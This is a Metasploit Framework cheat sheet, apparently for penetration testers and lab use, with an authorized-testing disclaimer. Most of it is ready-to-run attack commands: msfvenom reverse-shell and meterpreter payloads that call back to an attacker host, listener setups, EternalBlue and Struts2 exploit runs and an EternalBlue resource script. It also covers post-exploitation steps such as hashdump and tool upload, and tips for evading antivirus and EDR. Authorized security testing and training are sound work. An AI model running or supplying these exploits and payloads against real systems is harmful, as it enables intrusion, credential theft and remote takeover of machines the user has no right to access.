Metasploit Framework Cheat Sheet
Modular exploitation framework for scanning, exploiting, and post-exploitation with msfconsole, handlers, and msfvenom.
Overview
Metasploit Framework provides exploits, auxiliary modules, encoders, and payloads. msfconsole is the interactive CLI; msfvenom generates standalone payloads; exploit/multi/handler catches reverse connections. Use after service enumeration when you have a matching module or need staged shells.
Authorized testing only. Use only on systems, networks, and accounts you own or have explicit written permission to test. Unauthorized access is illegal.
Install
Kali / Parrot (preinstalled)
which msfconsoleUbuntu — Rapid7 installer
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb -o msfinstallchmod +x msfinstall && sudo ./msfinstallStart PostgreSQL (required for db features)
sudo systemctl start postgresqlmsfdb initEssential commands
Interactive console
msfconsole -qSearch modules
msfconsole -q -x "search type:exploit platform:linux smb; exit"Generate payload (msfvenom)
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f elf -o shell.elfmsfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.10.14.5 LPORT=443 -f exe -o rev.exeList encoders / formats
msfvenom --list payloads | grep meterpretermsfvenom --list formatsInside msfconsole —
search eternalblueuse exploit/windows/smb/ms17_010_eternalblueshow optionsset RHOSTS 192.168.1.10set PAYLOAD windows/x64/meterpreter/reverse_tcpset LHOST 10.10.14.5set LPORT 4444checkrun -jDatabase / workspace
workspace -a client_ahosts -a 192.168.1.0/24services -p 445Common workflows
Terminal 1 — listener
msfconsole -q -x "use exploit/multi/handler; set payload linux/x64/shell_reverse_tcp; set LHOST 0.0.0.0; set LPORT 4444; run"Or interactively
use exploit/multi/handlerset payload windows/meterpreter/reverse_tcpset LHOST 10.10.14.5set LPORT 443set ExitOnSession falserun -jExploit + payload in one session —
use exploit/multi/http/struts2_content_type_ognlset RHOSTS target.htbset RPORT 8080set TARGETURI /set payload linux/x64/meterpreter/reverse_tcpset LHOST tun0set LPORT 4444runAfter session opens
sessions -lsessions -i 1In meterpreter
sysinfogetuidhashdumpupload /local/path/tool.exe C:\\Windows\\Temp\shellbackgroundGenerate staged Windows HTTPS meterpreter
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.10.14.5 LPORT=443 -e x64/xor_dynamic -i 3 -f exe -o payload.exeHandler must use same payload
use exploit/multi/handlerset payload windows/x64/meterpreter/reverse_httpsset LHOST 10.10.14.5set LPORT 443runexploit.rc
use exploit/windows/smb/ms17_010_eternalblueset RHOSTS 192.168.1.50set PAYLOAD windows/x64/meterpreter/reverse_tcpset LHOST 10.10.14.5set LPORT 4444runmsfconsole -q -r exploit.rcFlags reference
msfconsole -q | Quiet banner |
|---|---|
msfconsole -r file.rc | Run resource script |
search type:exploit cve:2021 | Filter module search |
show targets | Compatible target indexes |
setg LHOST ip | Global option for all modules |
run -j | Run as background job |
msfvenom -a x64 --platform windows | Architecture / platform |
msfvenom -f raw | Output format (elf, exe, ps1, etc.) |
Tips
- Always pair msfvenom payload type with handler payload exactly (staged vs stageless matters).
- Use check before run when the module supports it to avoid crashing services.
- setg LHOST on your VPN interface (e.g. tun0) saves time in labs.
- For AV evasion, try encoders sparingly; modern EDR often flags msfvenom defaults — custom loaders may be required.
- db_nmap imports Nmap results: db_nmap -sV 10.10.10.0/24 then services.